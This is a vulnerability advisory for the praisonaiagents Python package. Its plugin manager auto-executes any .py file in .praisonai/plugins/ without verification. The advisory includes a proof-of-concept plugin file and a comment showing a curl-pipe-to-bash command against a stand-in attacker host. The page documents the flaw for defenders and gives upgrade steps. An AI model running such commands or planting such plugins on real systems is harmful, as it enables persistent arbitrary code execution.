Skip to content

GHSA-m6wp-h223-4c8g CVE-2026-61446 PYSEC-2026-4271

PraisonAI: Plugin Auto-Discovery Executes Arbitrary Python Files Without Verification

High PyPI
Severity
8.6 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.34%
Chance of exploitation in the next 30 days. Higher than 27.35% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-427 Uncontrolled Search Path Element
CWE-94 Improper Control of Generation of Code ('Code Injection')
Fix
1.6.78
Upgrade praisonaiagents to this version or later

Description

Summary

The plugin manager loads and executes arbitrary .py files from .praisonai/plugins/ directories (both project-level and user home) via importlib.util.spec_from_file_location() + exec_module() with zero code signing, integrity verification, or sandboxing. Any attacker who can write a file to the plugins directory (via path traversal, supply chain attack, or compromised dependency) achieves arbitrary code execution when the plugin system initializes.

Details

src/praisonai-agents/praisonaiagents/plugins/manager.py (lines 163-196):

def _load_plugin_file(self, file_path: Path) -> Optional[Plugin]:
    module_name = f"praison_plugin_{file_path.stem}_{id(file_path)}"
    spec = importlib.util.spec_from_file_location(module_name, file_path)
    module = importlib.util.module_from_spec(spec)
    sys.modules[module_name] = module
    spec.loader.exec_module(module)  # Executes arbitrary Python code

    if hasattr(module, "create_plugin"):
        return module.create_plugin()  # Calls arbitrary function

src/praisonai-agents/praisonaiagents/plugins/discovery.py (lines 38-39):

# Auto-discovery paths:
# 1. Project: ./.praisonai/plugins/
# 2. User: ~/.praisonai/plugins/

No code signing, hash verification, or sandboxing is applied. The only validation is checking for a Plugin Name field in the file's docstring header.

PoC

from praisonaiagents.plugins.discovery import load_plugin
import tempfile, os

# Create a "malicious" plugin
test_dir = tempfile.mkdtemp()
plugin_file = os.path.join(test_dir, 'evil.py')
with open(plugin_file, 'w') as f:
    f.write('"""\nPlugin Name: Evil Plugin\nDescription: test\nVersion: 1.0.0\n"""\n'
            'PROOF = "CODE_EXECUTED_AT_IMPORT_TIME"\n'
            '# In a real attack: os.system("curl attacker.com/shell.sh | bash")\n'
            'def create_plugin():\n    return {"name": "evil"}\n')

# Load it
result = load_plugin(plugin_file)
print(f"Result: {result}")  # {'name': 'Evil Plugin', ...}

# Verify code executed
import sys
for name, mod in sys.modules.items():
    if 'evil' in name:
        print(f"EXPLOIT CONFIRMED: {mod.PROOF}")  # "CODE_EXECUTED_AT_IMPORT_TIME"

Tested result: Plugin file was loaded via exec_module(), and the PROOF variable confirmed code execution at import time.

Impact

  • Arbitrary code execution: Any .py file in the plugins directory is executed with full Python access
  • No user interaction required: Plugins are auto-discovered and loaded at framework initialization
  • Persistence: A planted plugin survives restarts and executes every time the framework starts
  • Attack chain: Combine with path traversal (write_file tool) to plant the plugin remotely

Affected versions

PyPI

PackageVulnerableFixed in
praisonaiagents
< 1.6.78
1.6.78

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

praisonaiagents PyPI → 1.6.78

pip
pip install --upgrade "praisonaiagents>=1.6.78"
poetry
poetry add "praisonaiagents>=1.6.78"
uv
uv add "praisonaiagents>=1.6.78"

Severity breakdown

CVSS 4.0 8.6

CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Attack vector
Local
Attack complexity
Low
Attack requirements
None
Privileges required
None
User interaction
None
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
High
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None
Exploit maturity
Not defined
Scope
X

CVSS 3.1 8.4

CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-427: Uncontrolled Search Path Element

The product uses a fixed or controlled search path to find resources, but one or more locations in that path can be under the control of unintended actors.

How to prevent it
  • Architecture and Design, Implementation: Hard-code the search path to a set of known-safe values (such as system directories), or only allow them to be specified by the administrator in a configuration file. Do not allow these settings to be modified by an external party. Be careful to avoid related weaknesses such as CWE-426 and CWE-428.
  • Implementation: When invoking other programs, specify those programs using fully-qualified pathnames. While this is an effective approach, code that uses fully-qualified pathnames might not be portable to other systems that do not use the same pathnames. The portability can be improved by locating the full-qualified paths in a centralized, easily-modifiable location within the source code, and having the code refer to these paths.
  • Implementation: Remove or restrict all environment settings before invoking other programs. This includes the PATH environment variable, LD_LIBRARY_PATH, and other settings that identify the location of code libraries, and any application-specific search paths.
  • Implementation: Check your search path before use and remove any elements that are likely to be unsafe, such as the current working directory or a temporary files directory. Since this is a denylist approach, it might not be a complete solution.
  • Implementation: Use other functions that require explicit paths. Making use of any of the other readily available functions that require explicit paths is a safe way to avoid this problem. For example, system() in C does not require a full path since the shell can take care of finding the program using the PATH environment variable, while execl() and execv() require a full path.

CWE-94: Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

How to prevent it
  • Architecture and Design: Refactor your program so that you do not have to dynamically generate code.
  • Architecture and Design: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
  • Testing: Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
  • Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
  • Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
  • Implementation: For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-gxmw-5f7x-6g22
praisonaiagents vulnerable to arbitrary file write via unsanitized `user_id` in `FileMemory.__init__()` — path traversal to any writable location
High Also affects praisonaiagents
GHSA-cfxv-8fw8-rwpv
praisonaiagents: ast_grep_rewrite rewrites arbitrary files without the @require_approval gate enforced on every sibling mutation tool
Medium Also affects praisonaiagents
GHSA-x44h-65qv-cw74
praisonaiagents has an SSRF protection bypass in `spider_tools._host_is_blocked()` via DNS-resolved hostnames (`127.0.0.1.nip.io`)
High Also affects praisonaiagents
GHSA-7g3p-92qq-8wvh
praisonaiagents: AgentServer declares auth_token but never enforces it on any route
High Also affects praisonaiagents
GHSA-5r34-2g38-6569
praisonaiagents web_crawl vulnerable to SSRF via redirect-following
High Also affects praisonaiagents
GHSA-vg6p-v9vm-6fgj
praisonaiagents vulnerable to SSRF in web_crawl tool via redirect-following and DNS rebinding (validate-then-fetch gap)
High Also affects praisonaiagents
GHSA-8hjw-25cg-g52h
praisonaiagents has a `web_crawl` SSRF protection bypass via unchecked redirect targets
High Also affects praisonaiagents
GHSA-hxmv-c4g6-5fqc
PraisonAI workflow include bypasses tools.py autoload opt-in and executes included recipe code
High Also affects praisonaiagents
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor